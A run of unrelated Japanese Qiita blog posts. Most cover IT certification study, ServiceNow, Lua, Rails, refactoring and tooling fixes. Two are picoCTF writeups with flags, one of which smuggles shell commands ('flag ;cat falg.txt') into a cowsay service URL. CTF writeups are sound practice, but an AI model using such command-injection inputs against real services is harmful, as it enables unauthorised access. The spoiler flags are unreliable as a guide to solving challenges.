OmniAICreator/Qiita-1.07M huggingface dataset:
picoCTF Writeup picoGym Practice Challenges Some Assembly Required 3 (注意<spoiler>)

# Some Assembly Required 3

qCCYI0ajpDを取得し、wasm2cを実行しスクリプトをみると
```

static const u8 data_segment_data_0[] = {
  0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0x90, 0xc2, 0xdd, 0x63, 
  0x93, 0x93, 0x92, 0x8f, 0x64, 0x92, 0x9f, 0x94, 0xd5, 0x62, 0x91, 0xc5, 
  0xc0, 0x8e, 0x66, 0xc4, 0x97, 0xc0, 0x8f, 0x31, 0xc1, 0x90, 0xc4, 0x8b, 
  0x61, 0xc2, 0x94, 0xc9, 0x90, 0x00, 0x00, 
};

static const u8 data_segment_data_1[] = {
  0xf1, 0xa7, 0xf0, 0x07, 0xed, 
};

```

といった文字があるのでhexのdata_0をxor暗号でed,07,f0,a7,f1でデコードするとフラグが現れる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'ed%2007%20f0%20a7%20f1'%7D,'Standard',false)&input=MHg5ZCAweDZlIDB4OTMgMHhjOCAweGIyIDB4YjkgMHg0MSAweDhiIDB4OTAsIDB4YzIsIDB4ZGQsIDB4NjMsIAogIDB4OTMsIDB4OTMsIDB4OTIsIDB4OGYsIDB4NjQsIDB4OTIsIDB4OWYsIDB4OTQsIDB4ZDUsIDB4NjIsIDB4OTEsIDB4YzUsIAogIDB4YzAsIDB4OGUsIDB4NjYsIDB4YzQsIDB4OTcsIDB4YzAsIDB4OGYsIDB4MzEsIDB4YzEsIDB4OTAsIDB4YzQsIDB4OGIsIAogIDB4NjEsIDB4YzIsIDB4OTQsIDB4YzksIDB4OTAsIDB4MDAsIDB4MDAs

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}
PL-900：管理 (Administer)

この投稿はMicrosoft PL-900の受験に向けた勉強資料をMS Learnページを参考にして作っています。
一発合格に向けて頑張りましょう！

[管理 (Administer)][MS-Learn]

[MS-Learn]: https://learn.microsoft.com/ja-jp/training/modules/introduction-common-data-service/7-administer

# 管理 (Administer)

MicrosoftDataverseにはデータベースの新しいインスタンス作成や各Dataverseデータベースインスタンスのユーザが使用できるアクセスと機能のカスタマイズなど、豊富な以下の管理オプションがある


## Microsoft Power Platform 管理センター
常にMicrosoft Dataverseを管理する時は最初のステップとして管理設定を確認する必要がある

* [環境] - Microsoft Dataverseの全インスタンスの一覧が表示される

* [データ ポリシー] - Microsoft Dataverseテーブルで送受信できるデータを制限できるためにMicrosoft Dataverseと共に使えるデータコネクタを制限するポリシーを設定する

* [データ統合] - 事前に定義した接続を作成または追加し、Microsoft DataverseとSalesforceやSQL Serverなど、他のデータストア間の接続を監視できる

<img src="https://learn.microsoft.com/ja-jp/training/modules/introduction-common-data-service/media/list-environments.png">

管理センターに移動し、ポータルの左側にある各セクションを開いてオプションを確認する

１．Power Appsにアクセスしてサインインする
２．図のように、歯車の下にある [管理センター] を選択します。

<img src="https://learn.microsoft.com/ja-jp/training/modules/introduction-common-data-service/media/admin-center.png">

３．左側のナビゲーション ウィンドウを使ってMicrosoft Power Platform管理センターで管理するオプションを確認

<img src="https://learn.microsoft.com/ja-jp/training/modules/introduction-common-data-service/media/admin-menu-options.png">

Microsoft Power Platform管理センターを使用すると、ユーザー、アクセス許可およびMicrosoft Dataverseの他の多くの重要な機能を設定するタスクを管理できる
true/false項目が継承されない事象の解消方法

# 概要
インシデントの特定の項目を引き継いでインシデントタスクを生成するアクションを作成しました。そのアクションを実行した際に「true/false」項目だけうまく継承できなかった件の解消方法について記載します。
（例：インシデント作成時：説明欄が「TEST」ならばインシデントタスクの説明欄も「TEST」で作成する。）

## バージョン
サンディエゴ以降(ローマ以前では継承できていた）

## 継承できない例
インシデントの特定の項目をインシデントタスクに継承するアクションを作成する。実行した際「true/false」項目だけがうまく継承できない。しかし、それ以外の項目は継承できる。

下記がインシデントを基にインシデントタスクを生成するアクション。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/c9731f78-4fb3-8834-0c5a-3d8d2ef33e04.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/d8513ffb-5ae8-ddf9-efe4-2b231c7096cd.png)

実際にインシデントを作成する。（Flowは別途で作成する必要がある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/189ebb2e-3f4e-6ac1-891d-06623c6c11f1.png)

インシデント作成後に自動でインシデントタスクが生成される

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/810c0020-449b-01a1-bb60-0f63a59a1033.png)

自動で生成されたインシデントタスクを確認すると「true/false」項目だけうまく継承できていないことが確認できる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/aeed1d10-a772-f201-39a1-39bce00af561.png)



## 対処方法
詳細で確認した「true/false」項目だけ継承できない問題を解決する方法として「システムローカライズ」で検索し「メッセージ」を押下する。
メッセージの一覧が表示されたら「キー」が「true」で検索し、検索語の赤枠部分を削除する。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/62da3944-31c5-5cc6-90f1-d634863c20e6.png)

削除後に再度インシデントを作成する。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/f322ce2a-a204-e520-76f7-1909696dec28.png)

インシデントタスクに「true/false」項目が継承されていることが確認できる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057245/afbffed2-f90d-0e4f-7931-3fb1365d3a55.png)

### さいごに
対処方法で削除したメッセージキーに関して削除した場合、アクションはうまく動きますが、全画面に影響がでます。また、言語が日本語であっても翻訳されなくなってしまうので注意が必要です。

削除を行う前にXMLなどでバックアップを取得してから削除を行うのが一番安全だと思います。
旧（2022年度以前）FEを受験した機械系大学生

# **目次**
| タイトル | 備考 |
|:-- | --:|
|[はじめに](#はじめに) |
|[注意点](#注意点) |※必読|
|[著者のプロフィール](#著者のプロフィール)|
|[受験目的](#受験目的)|
|[学習期間](#学習期間)|
|[新制度（2023年度以降）午後試験で重視される分野](#新制度午後試験で重視される分野)||
|[新制度で受験する人におすすめの参考書](#新制度で受験する人におすすめの参考書)|
|[最後に](#最後に)|


# **はじめに**
2022年11月に基本情報技術者試験を受験し、合格しました。
![fe午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057221/ca3b35e2-36dd-4a5b-de78-09be1ae28bdd.png)
![fe午後.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057221/002f9633-151f-2cc6-19b1-c4369b5420ba.png)

# **注意点**
**2023年4月より、基本情報技術者試験の試験制度が大幅に変更されます**

https://www.jitec.ipa.go.jp/1_00topic/topic_20220425.html

# **著者のプロフィール**
+ 工学部機械系所属のB4（同大学に院進予定）
+ 情報系の研究室所属（画像処理、機械学習）
+ 初の資格勉強

# **受験目的**
+ **就活を意識した資格取得**

1番はこれです。

+ **情報系の基礎知識を身につけること**

私は工学部の機械系コースに所属していますが、3年後期の研究室配属では情報系の研究室を選択しました。研究室配属後、情報系の学生達や研究室の先輩方に知識量で遅れを取っていることを薄々感じながらも、研究以外で勉強することはありませんでした。配属されて1年が経ち、プログラミング（c++）はリファレンス本があれば利用できるレベルになりましたが、その他はさっぱり...　
B3が配属されるタイミングで、「後輩に教えられることがない!ない!」と焦りを感じ受験しました。


# **学習期間**
+ 3週間

ギリギリでしたが何とかなりました。[**過去問道場**](https://www.fe-siken.com/)様々です。
↓過去問道場の履歴

![Screenshot 2022-12-12 134328.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057221/c8babc84-a88c-fd86-a5b9-17676d1b4950.png)
出題範囲を全過去問に設定し、1日約80問のペースで解きました。分からないところは、後述の[キタミ式](#新制度で受験する人におすすめの参考書)で補完しました。
午後対策は、アルゴリズムとプログラミング（表計算）の参考書1周と、それぞれの過去問3年分で対応しました。


# 新制度午後試験で重視される分野
+ アルゴリズム（8割）
+ 情報セキュリティ（2割）
※（）内は想定の割合です。

# **新制度で受験する人におすすめの参考書**
+ キタミ式イラストIT塾基本情報技術者令和05年
![51S+hYutB8L._SX350_BO1,204,203,200_.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057221/0127abc5-9309-cae6-5a9e-7d2910e3a662.jpeg)

https://www.amazon.co.jp/%E3%82%AD%E3%82%BF%E3%83%9F%E5%BC%8F%E3%82%A4%E3%83%A9%E3%82%B9%E3%83%88IT%E5%A1%BE-%E5%9F%BA%E6%9C%AC%E6%83%85%E5%A0%B1%E6%8A%80%E8%A1%93%E8%80%85-%E4%BB%A4%E5%92%8C05%E5%B9%B4-%E3%81%8D%E3%81%9F%E3%81%BF-%E3%82%8A%E3%82%85%E3%81%86%E3%81%98/dp/4297131862


読むだけでも面白いです。各章の初めに、章の概要（導入）が見開き2ページの漫画でまとめられています。個人的に、5章CPUが特に分かりやすかったです。


+ 情報処理教科書 基本情報技術者試験のアルゴリズム問題がちゃんと解ける本 第2版
![71KNr6-IDtL.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057221/2f400aa4-1842-837a-5658-f3bc0af6035d.jpeg)

https://www.amazon.co.jp/%E6%83%85%E5%A0%B1%E5%87%A6%E7%90%86%E6%95%99%E7%A7%91%E6%9B%B8-%E5%9F%BA%E6%9C%AC%E6%83%85%E5%A0%B1%E6%8A%80%E8%A1%93%E8%80%85%E8%A9%A6%E9%A8%93%E3%81%AE%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%E5%95%8F%E9%A1%8C%E3%81%8C%E3%81%A1%E3%82%83%E3%82%93%E3%81%A8%E8%A7%A3%E3%81%91%E3%82%8B%E6%9C%AC-%E7%AC%AC2%E7%89%88-%E7%9F%A2%E6%B2%A2-%E4%B9%85%E9%9B%84/dp/4798150460/ref=asc_df_4798150460/?tag=jpgo-22&linkCode=df0&hvadid=295739644034&hvpos=&hvnetw=g&hvrand=12417527760169962964&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=1009698&hvtargid=pla-525833419833&psc=1&th=1&psc=1

旧試験を受けてみて**トレース（プログラムの変数に具体的な値を想定し、処理を追跡すること）の練習は必要不可欠**だと感じました。アルゴリズムが重視される新試験では、なお重要です。簡単な例題（うるう年を判定するプログラム等）から、実際に試験に出題された問題（3問）も載っており1周するだけでも十分練習になります。

# **最後に**
資格を取得できたこと以上に、自分で勉强しようとして色々学べたことが1番良かったと思います。
TeraTerm SSH転送（ポートフォワード）機能を利用した接続

躓いた所だけメモ

・セキュリティグループのインバウンド設定を忘れない
・Teratermの接続設定の画面
　ホスト：localhost
　TCP：ssh
にする。接続失敗した時はホストに踏み台サーバのIPを設定していた。
・プロンプトでポート番号がLISTEN状態か確認するコマンドは
　netstat -ant |findstr ポート番号　

参考記事

http://www.j-oosk.com/teraterm/port-forward/787/

https://qiita.com/SSMU3/items/591e21bdead2464c45bf

https://itsakura.com/aws-teraterm-ssh
コード自動生成AI使ってみた

# はじめに
突然ですが、この記事を読んでいる方のほとんどはプログラムを書いたことがあると思います。

そこで、誰もが一度はこう考えたことがいるはずです。
「プログラミングを日本語で出来たら楽なのになー」と。
もしそんなものがあったのならだれでも簡単にプログラムを作れる夢のような世界が来ると思います。

そこで今回は「[AI Programmer](https://aiprogrammer.hashlab.jp/)」というものを紹介していきたいと思います。

# 「AI Programmer」とは
まずAI Programmerとは何なのか説明していきます。

AI Programmerは[2f6i](https://twitter.com/2feet6inches)さんが公開している日本語の文章を元にAIがソースコードを書いてくれるサービスのことです。現在はプロトタイプとして無料で使用できます。

文章だけでは想像しにくいと思うので実際に使用してみましょう。

# 実際に使ってみた
AI ProgrammerではSQL,Python,Html&cssなど10種類以上の言語を出力することができます。
今回は「1～100の素数を表示する」をPythonで表示していきます。上のフォームで言語を選択でき、下のフォームに日本語の文章を入力します。
![スクリーンショット (18).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982403/b1670e7b-7e4d-497e-3104-2414d8c1ca7b.png)
そしてコード生成を押すと以下のコードが出力されます。
```ruby
for i in range(1, 100):
	if i > 1:
		for j in range(2, i):
			if (i % j) == 0:
				break
		else:
			print(i)
```
これをPythonで実行してみると、
![スクリーンショット (19).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982403/a3f50a94-5a00-1756-4c24-fd1eda296526.png)
このように日本語の文章で要求した結果をえることができました。

# 使ってみての感想
実際に使用してみて、思っていたよりも使いやすいというのが最初の印象でした。
こういったものは大抵コンピュータ側が認識できるように日本語でもプログラミング言語のようにしなければならないものですがAI Programmerは自然な日本語でも要望したものが返ってきます。
ちょっとしたものならお手軽に生成してくれるので皆さんも一度試してみてはどうですか？

最後までご覧いただきありがとうございました！
luaで複素数ライブラリを使う


この記事は[アドカレ](https://qiita.com/advent-calendar/2022/lua)に参加しています。

# luaで複素数ライブラリを使う


みなさん、複素数すきですか？
~~すきなわけねぇよなぁあ~~
そんなこんなで、複素数を使わなければならないときがあります。
ところが、luaには複素数の演算をサポートしたものがありません。

そこで、外部ライブラリを使うなどの手段で複素数の計算を行います。

方法は4つあるので、順番に紹介していきます。

## 1. lua-complex
　英語な言語をしゃべる人が作ったライブラリです。

ダウンロードとかはこちらから↓
[lua-complex](https://github.com/aryajur/lua-complex)

こっちもたぶん同じもの↓
[complex.lua](http://philippe.castagliola.free.fr/LUA/complex.html)

さて、肝心な使いかたですが、まずはrequireします。
```lua
require("complex")
```

この時点でエラーが出る時は、complex.luaがrequireできる場所にないとか、そもそもcomplex.luaをダウンロードしてないとか、そんなかんじです。

次に、複素数の宣言は、
```lua
local x1 = 3 + 4 * math.i
```
とします。math.iと掛け算しているほうが虚部です。

複素数同士の計算は、普通にx1\*x2とかx1\*10とかでいいみたいです。便利ですね。

で、気になるのがsinとかabsとかですが、これはmath.sinとかmath.absでできるみたいです。
```lua
local x1 = 3 + 4 * math.i
local s = math.sin(x1)--複素数の場合は複素数の計算をする
local d = math.sin(1)--実数の場合は実数の計算をする
```

便利ですね。

こんなに便利なライブラリですが、注意すべきことがあります。
それは、グローバル変数がいろいろと変更されるということです。

mathとか、typeとかいろいろいじられてます。少し残念ですね。

僕の環境ではdebug_printが上手くいかなかったので、場合によっては不都合が生じるかもしれないです。


## 2. complex.lua
　こんどは、ジャパニーズな方が作った外部ライブラリです。

ダウンロードはこちらから↓
[complex.lua](http://codetta.seesaa.net/article/272155701.html)

こちらもrequireして使います。
詳しい説明はダウンロード先で詳しく**日本語で**説明されているので、そちらを参照してください。やっぱり母国語だと安心しますね←英語弱者

特徴として挙げるなら、複素数の宣言を
```lua
local z = complex.new(3, 4)
```
とする、とかですかね。

あと、こちらもグローバル変数が使用されているので、注意が必要です。変数被りとか考えたくないですね。


## 3. c++から引っ張ってくる
　この方法はdllを作る必要があるので少しめんどうです。

詳しい実装方法は、以下の二つの記事にあります。
[AviUtlでC++のクラスや構造体を使う](https://qiita.com/shulmj_/items/ff392e6798155c33f836)
[LuaユーザーデータにC++クラスを載せるのは注意](https://scrapbox.io/ePi5131/LuaユーザーデータにC++クラスを載せるのは注意)

c/c++とかの理解も必要だと思うので、少し大変だと思います。


## 4. 自分で実装する
　1と2で紹介したライブラリはluaで書かれています。そこで、コードを覗いてみました。

基本的に複素数の値はテーブルで保持されています。
```lua
local s1 = 3 --実部
local s2 = 4 --虚部
local c = {r = s1, i = s2}
```

あとは、複素数同士の演算をする関数を定義するだけです。
数式とかも適当に調べれば出てくるので、自作ライブラリを作るのもありかもしれないですね。
[複素数の指数関数・対数関数・べき関数](https://www.eng.niigata-u.ac.jp/~nomoto/2.html)
[複素数の三角関数](https://mathsuke.jp/complex-trigonometric/)


## 最後に
　いつかフラクタルとかもやってみたいですね。

[twitter](https://twitter.com/metaphysicalba1)
【実録】気づいたらやってしまってるかもしれない、こんなコーディング

# はじめに

表明駆動投稿ということで、何も考えず投稿表明をして、当日を迎えてしまいました。@suger4です。
この記事は[ラクス Advent Calendar 2022](https://qiita.com/advent-calendar/2022/rakus)の13日目です。

あるきっかけで、「コードのプロジェクトを分ける。≒一部を外だしする。」ことになったのですが、そこそこ長く開発していたプロジェクトであったこともあり、何点か事件が発生してしまいました。
今回はそういった事例を紹介させていただき、反面教師になっていこうという回になります。

# ことの発端

「コードのプロジェクトを分ける。≒一部を外だしする。」きっかけは、ざっというと「一部の重たい機能を別サーバで動くようにしよう」といった内容です。
特に珍しくないありふれた話ですが、スパゲティのように絡まっている（かもしれない）コードから、**確実に**、**今までと同じように**動作するように外に出すことが最大のミッションです。
しかしながら、そう簡単にはいきません。

# Case1：相互依存で相手がいないとダメになるメンヘラなクラス

ここにCSVに関するいろいろな処理ができるCsvCommonクラスがいます。
今回はこのCsvCommonクラスを外に出していきたいと思います。

```CsvCommon.java
class CsvCommon {
  CSVを読み取る();
  CSVを出力する();
  CSVの拡張子かチェックする();
  CSVを配置するパスを作る();
}
```

一方こちらにはファイルに関するいろいろな処理ができるFileCommonクラスがいます。
```FileCommon.java
class FileCommon {
  ファイルを読み取る();
  ファイルを出力する();
  ファイルの拡張子をチェックする();
  ファイルを配置するパスを作る();
}
```

（いろいろ言いたいことがあるのはわかりますが）一見、それぞれで処理しているように見えるので、外に出してしまおうと思います・・・
が、中身がこうなっていたらどうでしょうか。

```CsvCommon.java
class CsvCommon {
  CSVを読み取る();
  CSVを出力する();
  CSVの拡張子かチェックする();
  CSVを配置するパスを作る(){
    // ある階層までは共通
    path = FileCommon.ファイルを配置するパスを作る();
    // CSV用のファイルパスを作る
  };
}
```
```FileCommon.java
class FileCommon {
  ファイルを読み取る();
  ファイルを出力する();
  ファイルの拡張子をチェックする(){
    // CSVファイルか？
    CsvCommon.CSVの拡張子かチェックする();
    // PDFファイルか？
    /* etc...*/
  };
  ファイルを配置するパスを作る();
}
```
CsvCommonとFileCommonが相互依存してしまっていて、`CsvCommon.java`だけを外のソースに出すわけにはいかないようです。

上の例なら、`FileCommon.java`に拡張子チェックをさせるで解決しそうですが、現実のコードでは他にもガッチリと相互依存していて別れさせるのは非常に困難を要します。
別れさせるためのアプローチとしては、どこの処理が相互依存しているのかの洗い出し、影響範囲の確認のために`FileCommon.java`の利用箇所を調査。などいろいろ大変なことになります。
処理を分けることが難しい場合には、`CsvCommon.java`と一緒に`FileCommon.java`も外に出すことになるやもしれません。

長く育まれた相互依存を解消させるのは難しい。。。そんなケースとなりました。

# Case2：みんなに頼られすぎているUtilクラス
こちらにシステムで共通利用する定数を持ったMasterUtilクラスがいます。
```MasterUtil.java
class MasterUtil {
  // バージョン
  public static final String SYSTEM_VERSION = "v3.0.0"

  /**
   * ユーザ種別
   */
  enum UserType {
     ADMIN();
     EMPLOYEE();
  }
  /* etc...*/
}
```

ユーザ種別はシステム共通で使うのでこのクラス内でEnumとして持っているようです。
他にもいろいろな共通Enumが定義されていて、このクラスさえ見ればシステム内の「種別」は網羅的に見れるようになっている気がしますが、長く作り続けられてきたシステムなので、軽く1,000行は超えており、あまり積極的に見たいとは思えません…

さて、今回は上記から外に出すために必要なEnumだけを取り出したいです。今回の活動を機に各Enumも1つのクラスにしてしまおうと思います。

が、MasterUtilクラスは**みんなが使っていい便利クラス**です。
当然のごとく、多方面からいろいろな用途で使われていて、外部に持っていかれてしまうと残されたクラスたちは困ります。
最終的には必要なEnumをコピーして外部にも持つことになり、また一つ管理するものが増えてしまいました…

ただ今回のケースは一長一短で、ある種外に出した機能にとって不要なものはなくなり、元のコードに何か新しく追加したとしても、それが外に出した機能で不要ならば律儀に同じようにメンテナンスする必要はないと思います。
アプローチの方法は違うような気がしますが、ドメイン駆動設計で言われる**境界付けられたコンテキスト**に近いものを感じました。

# まとめ
いかがだったでしょうか、あるあるだね～。よく聞く話だね～。といった感想かと思います。

私自身もいろいろな書籍で「こんなコードはアンチパターンだ」「疎結合に高凝集なコードにせよ」といった言葉を目にし、その痛みを書籍からは感じてはいましたが、直接対面してみるとなかなかに頭を悩ませてくるものでした。

知識として、こういったアンチパターンの理解はあるものの、現実問題として実装しているときや、レビューしているときは「このロジックで正しく業務はなされるのか？」といった業務の本質に注意が向いてしまうものです。（私はそうあるべきだと思います。）

ドメイン駆動設計などでは、実装を行う前に「ドメイン」としてどこまでがその業務の範囲なのかをモデル化することで、必要十分な依存関係に押しとどめ、各ドメインの結合を疎にすることができる。という部分に価値があるのかなと考えています。

雑多でしたが、本投稿が皆さんのコーディング活動に一役買えれば幸いです。

以降の[ラクス Advent Calendar 2022](https://qiita.com/advent-calendar/2022/rakus)の投稿もお楽しみに！！
SlackのGithub通知のスレッドを無効化する

https://zenn.dev/mixi/articles/github-slack-notification-disabling-thread

>/github settings コマンドを打つと、↓のような設定画面が表示され、"Disable"をクリックするとスレッド機能がオフになります。
![b6a5cdb135fbf172fdc66f9f.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/46870/37147d02-2f67-45eb-a749-d69598a4a332.png)
Railsアプリのローディングまとめる

eager load と hot reload を混合していたのでまとめる。


## Definitions

- `eager loading`
   - = load all files when booting up a Rails server.
   - Configured with `config.eager_load = true`
- `reloading` (= hot reloading)
   - = reflect the code changes immediately to a runninng Rails server before processing the next request.
   - Configured with `config.cache_classes = false`


To reflect code changes in rails console, hit `relaod!` in the console.


## Default configurations in Rails 7.0.4



|  | development | test | production |
|:-:|:-:|:-:|:-:|
| `config.eager_load` | `false` | `ENV["CI"].present?` | `true` (do eager loading) |
| `config.cache_classes` | `false` (do hot reloading)  | `true`  |  `true` |


## Ref.

- https://guides.rubyonrails.org/autoloading_and_reloading_constants.html
初めてIssueをあげてみた

# Ansible/AWXのGithubに初めてissueをあげた体験記

## 手短に語ると

- OSSにフリーライドしていることに後ろめたさを感じてました。
- 機会があり、「issueあげてみようかな」と社内相談したら、とても後押ししてもらいました。大感謝！
- というわけで、[issue](https://github.com/ansible/awx/issues/13287)あげてみました。
- 普段めちゃ参考にしてるBlogの人からコメントいただきました。嬉しい！
- この調子で、PRまで出そうかな <- いまここ

では、以下、大したことないことを大げさに書いていきます。

## 普段からフリーライドしている後ろめたさは感じていた

普段からAnsibleとかAWXにはお世話になっています。  
しかし、私はCommunityに対して何も貢献できておりません。  
先人たちの努力にフリーライドしている状況を、後ろめたくは感じていました。

## ちょっとしたBugを発見

本当に大したことではないのですが、環境依存のBugを発見しました。
とある機能をRHEL9 cloneのRocky9にインストールするためにplaybookを実行すると、こけました。
単純にRHEL8系では通る`dnf install python39-pip`がRHEL9系では`dnf install python3-pip`としないと通らない、けど`python39-pip`で固定されているというだけです。  
詳細は上述の[issue](https://github.com/ansible/awx/issues/13287)を見ていただければと思います。

## いつもはそこでおしまい

varsファイルを修正したらそれで完了するので、自分にとってはそれでOKです。  
ただ、原因を追うのにも1時間くらいはかかりました。  
なので、みなさんがそんなところで時間がかかるのももったいないと思い、issueを出してworkaroundを紹介しようかなという気が湧いてきました。  
内容も全然難しくないので、初めて出すにはちょうど良かったです。

## 勤務先がそういうことに熱心なことも超後押し材料

私の勤務する会社にはAnsibleの大先輩、大先生が何人もいらっしゃいます。  
たまたま見つけた日に社内のMTGがあったので、「こんなissue出してみようかなと思いまして」と相談したら、その場で手引きしてくれた上に、ドラフト書いたらレビューしてくださると！  
こういう雰囲気だったり後押し体制がなかったら、面倒だしほったらかしにしてしまった可能性は結構あります。
ちなみに今回たくさんご協力した下さった大先生は[よこち](https://github.com/akira6592)さんです。

## そこからドラフト書くのに2週間もかかりました

本当に情けない話しですが、取り掛かるのに2週間かかりました。  
やっぱり英文を書くのって気合いが要りますね。  
日本語で書いて英語に翻訳して、おかしなところだけ修正するという方法も紹介されたのですが、私はどうも英語でそのまま書かないとうまく書けなかったです。

そして意外にも、いや案の定か、書き始めてみたら気分も乗ってきて、一晩で書けました。  
だったら早くやれよってはなしですが、まあそういうものですよね。

## 大先生のご意見になるほど

この一文は弱気すぎて要らないかなーなんて迷っていました。

> I understand this issue dependents specific environment, so I don't mind if this report is regarded not as a bug report, but as an introduction to workaround.

しかし、大先生にレビューしてもらったところ
> 自分がどこまで理解しているかや、スタンスを明示することで、相手の説明コストを下げられるので、私はむしろ書いてあったほうがいいと思う派です。

というご意見。なるほど！  
そういう視点は持ってなかったです。場数の違いを感じました。
というわけで、ドラフトそのままでpostしました。ここまでに3週間もかかってしまいました。

## 23時にpostしたらAM3時にコメントが付く。さすがGlobalなプロジェクト。

と思ったら、日本の方で、しかも私が普段よく拝見するBlogの筆者でした。  
一方的に読者だったので、こんな形で関りができたことが素直に嬉しかったです。  

私も普段集中し始めると、うっかり朝になってたりするタイプでして、妻に「みんな、ちゃんと寝た方が良いよ」って言われました。  

## せっかくなのでPRも出そうかな

元々issue出して、Workaroundの紹介にとどまるつもりでした。  
しかし原因もわかり、手で直に修正する以外の方法も考えてはいたので、Pull Requestも出しちゃおうかなという気になってきました。
却下されたら、時間と労力は失うのですが、その時間と労力で身につくものが大きいので、そんなに気にならないんですよね。  
検証する手法、英作文すること、そのcommunityの作法を学ぶこと、など色々身に付きます。  
そしてなにより、**フリーライドの後ろめたさがどんどん減ります!!!**

## おわりに

というわけで、PRまだ出せてないので道半ばですが、ひとまず初のissue出したお話しでした。  
元々は「私みたいな3流エンジニアがissue出すなんて」と思ってましたが、やってみるととても良い体験でした。
picoCTF Writeup picoGym Practice Challenges caas (注意<spoiler>)

# caas

Description
Now presenting cowsay as a service

```:html
Cowsay as a Service
Make a request to the following URL to cowsay your message:
https://caas.mars.picoctf.net/cowsay/{message}
```

とりあえずhttps://caas.mars.picoctf.net/cowsay/caas/などと検索すると

```
 ______
< caas >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

```
このような表示がされる。
ディレクトリを探せって意味かとおもってdirbやgobusterを使用してみても見つからない。

そこで、/etc/flagとか入れてみると
```
Cannot GET /cowsay/etc/flag
```

と表示される。

/flag　だと

```
 ______
< flag >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
```


配布されているindex.jsをみると/cowsay/:messageとしてコマンドが使えるよう。

```
https://caas.mars.picoctf.net/cowsay/flag ;ls
 ______
< flag >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
```
```
/flag ;cat falg.txt
 ______
< flag >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
```


picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
huskyのpre-commitがSourceTreeからだと失敗する問題の解決方法

この記事は、[and factory.inc Advent Calendar 2022](https://qiita.com/advent-calendar/2022/andfactory)の **12日目** の記事です。
昨日は、@y-okuderaさんの「[スクロールで伸縮するヘッダをSwiftUIで実装する](https://qiita.com/y-okudera/items/b0edf79b17047e5ae51d)」でした。

# はじめに

コミット時にLintを走らせるなど便利なhuskyですが、弊社でも一部のプロダクトで使用することにしました。
私は普段SourceTreeを使っていますが、コミット時にhuskyのpre-commitが失敗するので解決方法を調べてみました。
ちなみに、ターミナルからコミットをする分には問題ありませんでした。

huskyのバージョンは、Ver.8.0.1です。

# エラー内容

SourceTreeからコミットしようとすると、以下のようなエラーが発生してコミットすることができません。

```
git -c color.branch=false -c color.diff=false -c color.status=false -c diff.mnemonicprefix=false -c core.quotepath=false -c credential.helper=sourcetree commit -q -F /var/folders/c0/ty42hdr5071fg0zqy1xc3mxh0000gn/T/SourceTreeTemp.1mJRN4 
.husky/pre-commit: line 4: npx: command not found
husky - pre-commit hook exited with code 127 (error)
husky - command not found in PATH=/Applications/Sourcetree.app/Contents/Resources/git_local/libexec/git-core:/Applications/Sourcetree.app/Contents/Resources/bin:/Applications/Sourcetree.app/Contents/Resources/git_local/bin:/Applications/Sourcetree.app/Contents/Resources/git_local/gitflow:/Applications/Sourcetree.app/Contents/Resources/git_local/git-lfs:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
Completed with errors, see above
```

`npx` が見つからないというエラーメッセージで、実際に `PATH=` 以降に表示されているパスを確認してもそれっぽいパスはありません。
しかし、ターミナルからは見つかりました。

```
$ which npx
/Users/[ユーザー名]/.nodebrew/current/bin/npx
```

ターミナルからのコミットは問題ないことからも、SourceTreeとターミナルとでは環境変数に差があるようです。

# 解決方法

予想通りとは思いますが、 `npx` へのパスを通してあげることで解決します。

ホームディレクトリに `.huskyrc` を作成し、そこにnpxへのパスを通せば問題ありませんでした。

```
$ echo "export PATH=\"$(dirname $(which npx)):\$PATH\"" > ~/.huskyrc
```
参考：https://github.com/typicode/husky/issues/390#issuecomment-762213421

- npx がどこにあるのかを探して、（which npx）
- ディレクトリ名を表示し、（dirname）
- export文を、（echo "export PATH〜〜〜"）
- ~/.huskyrc に出力する。（> ~/.huskyrc）

イシューのコメントでもいくつか投稿されていましたが、単純に以下の指定をしても私の環境ではそのパスにはnpxはないのでうまくいきませんでした。

```.huskyrc
PATH="/usr/local/bin:$PATH"
```

なぜホームディレクトリに.huskyrcを置くと大丈夫なの？と思われるかもしれませんが、pre-commitのタイミングでhusky.shを実行しており、そこで以下の指定がされている為だと思います。
```shell
  if [ -f ~/.huskyrc ]; then
    debug "sourcing ~/.huskyrc"
    . ~/.huskyrc
  fi
```
ここを改造すれば、.huskyrcの置き場所はホームディレクトリじゃなくてもいけるかもしれませんね。

# 最後に

エラーが発生しているメンバーもいれば、そうでないメンバーもいるようでした。
